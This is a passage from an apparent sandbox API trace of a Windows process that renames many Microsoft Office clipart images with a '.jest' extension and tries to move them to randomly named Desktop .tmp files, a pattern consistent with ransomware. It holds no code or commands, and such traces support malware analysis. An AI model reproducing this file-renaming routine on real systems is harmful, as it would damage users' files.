IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.445] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.jest")) returned 1 [0166.447] VarBstrFromR4 (in: fltIn=0x47945804, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.03") returned 0x0 [0166.448] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_BvuygEtIPp6Gc_UVwOTJY4bhQXXEiqUk5XHI_2dY803K3ZWS2 sepsPIZ10QLDzhEYw EpqzR3wifr6YE67iu2a_VUx0PG _g8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_bvuygetipp6gc_uvwotjy4bhqxxeiquk5xhi_2dy803k3zws2 sepspiz10qldzheyw epqzr3wifr6ye67iu2a_vux0pg _g8.tmp")) returned 0 [0166.448] GetLastError () returned 0x2 [0166.448] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.449] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.jest")) returned 1 [0166.450] VarBstrFromR4 (in: fltIn=0x47945804, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.03") returned 0x0 [0166.452] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TS4chJywIo7chi8i6YRlvrVCfAxb4EeJyP4Zjl6cwXAGG435YfVnI4KUs0keEoXDx7B8s7BFgYdH7PuSK9pIGK0qo7cliADQcu0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ts4chjywio7chi8i6yrlvrvcfaxb4eejyp4zjl6cwxagg435yfvni4kus0keeoxdx7b8s7bfgydh7pusk9pigk0qo7cliadqcu0.tmp")) returned 0 [0166.452] GetLastError () returned 0x2 [0166.452] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.453] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.jest")) returned 1 [0166.653] VarBstrFromR4 (in: fltIn=0x4794581e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.23") returned 0x0 [0166.656] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PxLu98eIyCG 1oi0_yajK3IwdMgLsaUG82Mgfs6KW57NUjl24pGozxulwdWepmtrUUGxXTOCFQFD-JTAiZtxENP9 4sOowoYDVff-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pxlu98eiycg 1oi0_yajk3iwdmglsaug82mgfs6kw57nujl24pgozxulwdwepmtruugxxtocfqfd-jtaiztxenp9 4soowoydvff-.tmp")) returned 0 [0166.656] GetLastError () returned 0x2 [0166.657] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.658] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.jest")) returned 1 [0166.669] VarBstrFromR4 (in: fltIn=0x47945820, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.25") returned 0x0 [0166.672] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IwsoqxCydFoWhdy4xScto_CkuNGamMo_59Gbddytu_f_R5tT2tjhPWqnjJbJKkTTA hLxGP62lDpDjJlOT_L_VPNef8d5tpEB9S.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iwsoqxcydfowhdy4xscto_ckungammo_59gbddytu_f_r5tt2tjhpwqnjjbjkktta hlxgp62ldpdjjlot_l_vpnef8d5tpeb9s.tmp")) returned 0 [0166.672] GetLastError () returned 0x2 [0166.674] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.681] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.jest")) returned 1 [0166.694] VarBstrFromR4 (in: fltIn=0x47945822, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.27") returned 0x0 [0166.697] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ 1ehUCo-NwH4f25JXyr4fzRE_IzbvoFJvT4L3d8x7W_p6h_b0rzfSPm7HiepSfzcj1MKTcAtK2U516eS0pVfidSM5SXwkRAq3Xsz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ 1ehuco-nwh4f25jxyr4fzre_izbvofjvt4l3d8x7w_p6h_b0rzfspm7hiepsfzcj1mktcatk2u516es0pvfidsm5sxwkraq3xsz.tmp")) returned 0 [0166.698] GetLastError () returned 0x2 [0166.698] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.700] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.jest")) returned 1 [0166.702] VarBstrFromR4 (in: fltIn=0x47945824, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.28") returned 0x0 [0166.737] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mwsU3mVZmrS7AshEESN4cziKQ--GRciZN3mb_0TdL9lC66GGkRKMhEGrY_A6S3ACJNcZ-1KfZmBdKM8U9mf30swDKepBRzzOl4Ql.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mwsu3mvzmrs7asheesn4czikq--grcizn3mb_0tdl9lc66ggkrkmhegry_a6s3acjncz-1kfzmbdkm8u9mf30swdkepbrzzol4ql.tmp")) returned 0 [0166.738] GetLastError () returned 0x2 [0166.738] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.748] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.jest")) returned 1 [0166.751] VarBstrFromR4 (in: fltIn=0x47945828, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.31") returned 0x0 [0166.752] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_vfjQ68BUcuCJt64C3EefTrbVvOmWWndznfi-ZbPDFkD5PjjbgUeTDtxF6nHZcpIsAESlyRPgVQbAXx2tUf3qgJen9pettuV9O.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j_vfjq68bucucjt64c3eeftrbvvomwwndznfi-zbpdfkd5pjjbguetdtxf6nhzcpisaeslyrpgvqbaxx2tuf3qgjen9pettuv9o.tmp")) returned 0 [0166.752] GetLastError () returned 0x2 [0166.753] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.754] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.jest")) returned 1 [0166.769] VarBstrFromR4 (in: fltIn=0x4794582a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.33") returned 0x0 [0166.770] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nMraUSxs4nHRwd2y9q44qm087dMme6JC0XlWLmIN0gaXNllZirmdMjU-zdIEnDnj-L8VXTOZ2I2HiowAcFMLC_ZljxZpiZFWVkZmW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nmrausxs4nhrwd2y9q44qm087dmme6jc0xlwlmin0gaxnllzirmdmju-zdiendnj-l8vxtoz2i2hiowacfmlc_zljxzpizfwvkzmw.tmp")) returned 0 [0166.770] GetLastError () returned 0x2 [0166.771] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.772] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.jest")) returned 1 [0166.776] VarBstrFromR4 (in: fltIn=0x4794582c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.34") returned 0x0 [0166.777] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PzqDd0D4Ath7_flvz-fSqyP2C-oQLlBuhZLEN-koy-OYsyoBQU831LsOGyphlziLIBEXSy29rhRiVuPrMJo7QYWAnfQzaAluLr7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pzqdd0d4ath7_flvz-fsqyp2c-oqllbuhzlen-koy-oysyobqu831lsogyphlzilibexsy29rhrivuprmjo7qywanfqzaalulr7.tmp")) returned 0 [0166.777] GetLastError () returned 0x2 [0166.778] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.778] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.jest")) returned 1 [0166.780] VarBstrFromR4 (in: fltIn=0x4794582c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.34") returned 0x0 [0166.781] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qHQrXZhQXHxWfgtJ8YXjwDOKVT5dBJ-iJ0YxlFj31jSnFWUCbSv0XWbiMOpNrQVWVFTQUpVEwRUd7FgS2UKaW-683pRJXDgDkI_Vb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qhqrxzhqxhxwfgtj8yxjwdokvt5dbj-ij0yxlfj31jsnfwucbsv0xwbimopnrqvwvftqupvewrud7fgs2ukaw-683prjxdgdki_vb.tmp")) returned 0 [0166.782] GetLastError () returned 0x2 [0166.791] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.792] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.jest")) returned 1 [0166.795] VarBstrFromR4 (in: fltIn=0x4794582e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.36") returned 0x0 [0166.796] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uQ9c5qfwlxHqHGJb_smv97HcTeIa 5qad1E_X8JS5V-TXTKbqDXrnL71QrZQTSQIjba60RNByr5GppTlnA98wiunVjBWVN7kOvk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uq9c5qfwlxhqhgjb_smv97hcteia 5qad1e_x8js5v-txtkbqdxrnl71qrzqtsqijba60rnbyr5gpptlna98wiunvjbwvn7kovk.tmp")) returned 0 [0166.797] GetLastError () returned 0x2 [0166.797] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.798] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.jest")) returned 1 [0166.802] VarBstrFromR4 (in: fltIn=0x4794582e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.36") returned 0x0 [0166.803] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I83Y9LrsjDQcQwKjVlxkI7meKfI7bW_x-DcV1sxYfLghXoP4eAO8d8P54z9FD2r9QBze-09c7IB415m0AqyGruK6QgpuA bVMePp7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i83y9lrsjdqcqwkjvlxki7mekfi7bw_x-dcv1sxyflghxop4eao8d8p54z9fd2r9qbze-09c7ib415m0aqygruk6qgpua bvmepp7.tmp")) returned 0 [0166.803] GetLastError () returned 0x2 [0166.803] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.804] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.jest")) returned 1 [0166.806] VarBstrFromR4 (in: fltIn=0x47945830, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.38") returned 0x0 [0166.807] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ctpIWUSBEd4iTzlaaZwFmjqI71 UUz4ubx5oV0e-oMX7BmZ38q4CiXmlGmnyDv1UmxOv8HVWEtQTFOiNRhsRYOVOuylFFUrD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ctpiwusbed4itzlaazwfmjqi71 uuz4ubx5ov0e-omx7bmz38q4cixmlgmnydv1umxov8hvwetqtfoinrhsryovouylffurd.tmp")) returned 0 [0166.807] GetLastError () returned 0x2 [0166.807] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.808] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.jest")) returned 1 [0166.810] VarBstrFromR4 (in: fltIn=0x47945830, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.38") returned 0x0 [0166.811] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kzUXi6zC6UFPZxI6ShHl9E6kDZhqQOpLmddGQSkFW 898nMUoSkytTV-j1yJCz3ANqYHBp_En7swb4mulpCmWgZSh9W4kceWeG3e.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kzuxi6zc6ufpzxi6shhl9e6kdzhqqoplmddgqskfw 898nmuoskyttv-j1yjcz3anqyhbp_en7swb4mulpcmwgzsh9w4kceweg3e.tmp")) returned 0 [0166.811] GetLastError () returned 0x2 [0166.811] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.812] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.jest")) returned 1 [0166.813] VarBstrFromR4 (in: fltIn=0x47945830, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.38") returned 0x0 [0166.814] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ayd7DtbqtEXFxmniPs9YAf2CiPf6sLYtCATpv0pcdPG6hmSMx0_ 147MW4hZ_XbTt_Fixrpn9r0Bx8pLX7IxJ O3HH4PlJEagczO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ayd7dtbqtexfxmnips9yaf2cipf6slytcatpv0pcdpg6hmsmx0_ 147mw4hz_xbtt_fixrpn9r0bx8plx7ixj o3hh4pljeagczo.tmp")) returned 0 [0166.815] GetLastError () returned 0x2 [0166.815] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0166.815] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft 